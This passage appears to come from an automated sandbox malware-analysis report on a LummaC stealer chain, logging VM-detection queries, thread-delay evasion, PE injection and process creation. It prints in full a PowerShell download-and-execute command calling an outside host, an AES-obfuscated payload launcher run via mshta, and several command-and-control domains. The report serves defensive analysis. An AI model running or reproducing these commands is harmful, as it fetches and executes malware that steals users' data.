Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3721	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 816	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3163	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6601	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6280	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3481	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6728	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4220	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3128	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5488	Thread sleep count: 6280 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5488	Thread sleep count: 3481 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5484	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_06F72A58 GetSystemInfo,

4_2_06F72A58

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.19041.1110_none_c0da534e38c01f4d	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\Bcp47Langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Windows\SysWOW64\USERENV.dll	Jump to behavior

Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: mshta.exe, 00000000.00000003.2075648098.00000000034DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000002.00000002.2052402999.0000000002F65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}C
Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000004.00000002.2859045142.00000000074BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr
Source: powershell.exe, 00000002.00000002.2060075780.0000000007159000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: powershell.exe, 00000008.00000002.3001201192.0000000003047000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2060423967.0000000007209000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: powershell.exe, 00000009.00000002.3040273310.0000000005281000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000008.00000002.3001201192.000000000301C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2060075780.0000000007159000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ls

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_0043E0F0 LdrInitializeThunk,

8_2_0043E0F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_4524.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_616.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 616, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))}

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: powershell.exe	String found in binary or memory: hummskitnj.buzz
Source: powershell.exe	String found in binary or memory: cashfuzysao.buzz
Source: powershell.exe	String found in binary or memory: appliacnesot.buzz
Source: powershell.exe	String found in binary or memory: screwamusresz.buzz
Source: powershell.exe	String found in binary or memory: inherineau.buzz
Source: powershell.exe	String found in binary or memory: scentniej.buzz
Source: powershell.exe	String found in binary or memory: rebuildeso.buzz
Source: powershell.exe	String found in binary or memory: prisonyfork.buzz
Source: powershell.exe	String found in binary or memory: permissiblene.click

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))}	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function rofjg($zkfzu){return -split ($zkfzu -replace '..', '0x$& ')};$xhko = rofjg('addabd852cbf669fb61eacb84993ea3f154802630095ec46064205c3e258ca0a3f846939344dfeadf3b7ac1a3089265aaeecaad45d0357aa9b08b6c103541454a7cfa4167a71b0010aa6e212385ca641b99658282ee9b9f894a6f9be882279d7e4f19bdca0261aa79fc5fad99fb022f746001aacc2a62050f3c5f1acb5dbceceecfe3a7a31a8937a5f65851f4c54937eac4f795e298c9214224843fb4f9b13b0abea024cf9052242b65816163bd511bdd6a30b7fd935d931026cd618e7cf54e77a0a14c23fc0a2197a0626bccd85128a5b13d7573f97fa06919b49e60b6f135a7b0087e73bedf1bbd8ef749346e35bb5b8ef328ab42653a8c423cce65ed751d8fdb7538347b1115c64b27cb0b663fd5d314ef76ea571a266b7da4a5fedc4a11881b74e43e450cb442b4dcf5e7f4d3f964b91dd28fd3c9cc2ca269708977893826bc4f817ca3f24a1e25fd45fee31e6f57dd231764a7ed8ec4f27a85d3e63955f8a0d8233af72c4e3b87ac790739b96882aae6d9c087fde0339006489de3ccc111ff2be081efd92e3486dc8fa48f7c64e97265982a18f79b58a14b1b7f4e618d3e23c9a3c802554f05ab3facfc592e6c0a13c4fcd3ac9eb67201312b305eabaa5bd1661fb4d01209cd8147427069dcb7c70b3fc1669e3d643a74b2f009a73ff4ecaf1e92fb68f73506e4e251f8603cb128405a12b13d51eb28d67d152254c24f1b1b1b208470e50c7c6a293ed2b9bc672e7167c873d379dda70928e34d5d92b01e6fbef93cff4c5a2a47fec851643d38dac71cc97de03ef89c84ec82b4daec32416113c18a4f97176e6c6f19529dfc27fedf76eaecc83b65cdb18f573a47ca511abb57c0e2fb271f43f876c7e4ebb670821dee11f27961708ecc5a51060ab343764d0d66a8f570de51685313e5643f216aba89a781c9437c8360bdd168a4f24cc7eedbaf8cb939b2cd236895145bee8327e515c72c6e3f8945f6b99dd6856d6b85a39a9636ef180d230b26c5e84de8c40a71ae0f1b4c4b3abee23b5b26ff40ac1d252c89c4c40a58e6456eba4f5fbfc23');$hubqy=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((rofjg('446d676a575941436563554774726d56')),[byte[]]::new(16)).transformfinalblock($xhko,0,$xhko.length)); & $hubqy.substring(0,3) $hubqy.substring(129)
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function rofjg($zkfzu){return -split ($zkfzu -replace '..', '0x$& ')};$xhko = rofjg('addabd852cbf669fb61eacb84993ea3f154802630095ec46064205c3e258ca0a3f846939344dfeadf3b7ac1a3089265aaeecaad45d0357aa9b08b6c103541454a7cfa4167a71b0010aa6e212385ca641b99658282ee9b9f894a6f9be882279d7e4f19bdca0261aa79fc5fad99fb022f746001aacc2a62050f3c5f1acb5dbceceecfe3a7a31a8937a5f65851f4c54937eac4f795e298c9214224843fb4f9b13b0abea024cf9052242b65816163bd511bdd6a30b7fd935d931026cd618e7cf54e77a0a14c23fc0a2197a0626bccd85128a5b13d7573f97fa06919b49e60b6f135a7b0087e73bedf1bbd8ef749346e35bb5b8ef328ab42653a8c423cce65ed751d8fdb7538347b1115c64b27cb0b663fd5d314ef76ea571a266b7da4a5fedc4a11881b74e43e450cb442b4dcf5e7f4d3f964b91dd28fd3c9cc2ca269708977893826bc4f817ca3f24a1e25fd45fee31e6f57dd231764a7ed8ec4f27a85d3e63955f8a0d8233af72c4e3b87ac790739b96882aae6d9c087fde0339006489de3ccc111ff2be081efd92e3486dc8fa48f7c64e97265982a18f79b58a14b1b7f4e618d3e23c9a3c802554f05ab3facfc592e6c0a13c4fcd3ac9eb67201312b305eabaa5bd1661fb4d01209cd8147427069dcb7c70b3fc1669e3d643a74b2f009a73ff4ecaf1e92fb68f73506e4e251f8603cb128405a12b13d51eb28d67d152254c24f1b1b1b208470e50c7c6a293ed2b9bc672e7167c873d379dda70928e34d5d92b01e6fbef93cff4c5a2a47fec851643d38dac71cc97de03ef89c84ec82b4daec32416113c18a4f97176e6c6f19529dfc27fedf76eaecc83b65cdb18f573a47ca511abb57c0e2fb271f43f876c7e4ebb670821dee11f27961708ecc5a51060ab343764d0d66a8f570de51685313e5643f216aba89a781c9437c8360bdd168a4f24cc7eedbaf8cb939b2cd236895145bee8327e515c72c6e3f8945f6b99dd6856d6b85a39a9636ef180d230b26c5e84de8c40a71ae0f1b4c4b3abee23b5b26ff40ac1d252c89c4c40a58e6456eba4f5fbfc23');$hubqy=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((rofjg('446d676a575941436563554774726d56')),[byte[]]::new(16)).transformfinalblock($xhko,0,$xhko.length)); & $hubqy.substring(0,3) $hubqy.substring(129)			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00438430 cpuid

8_2_00438430

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
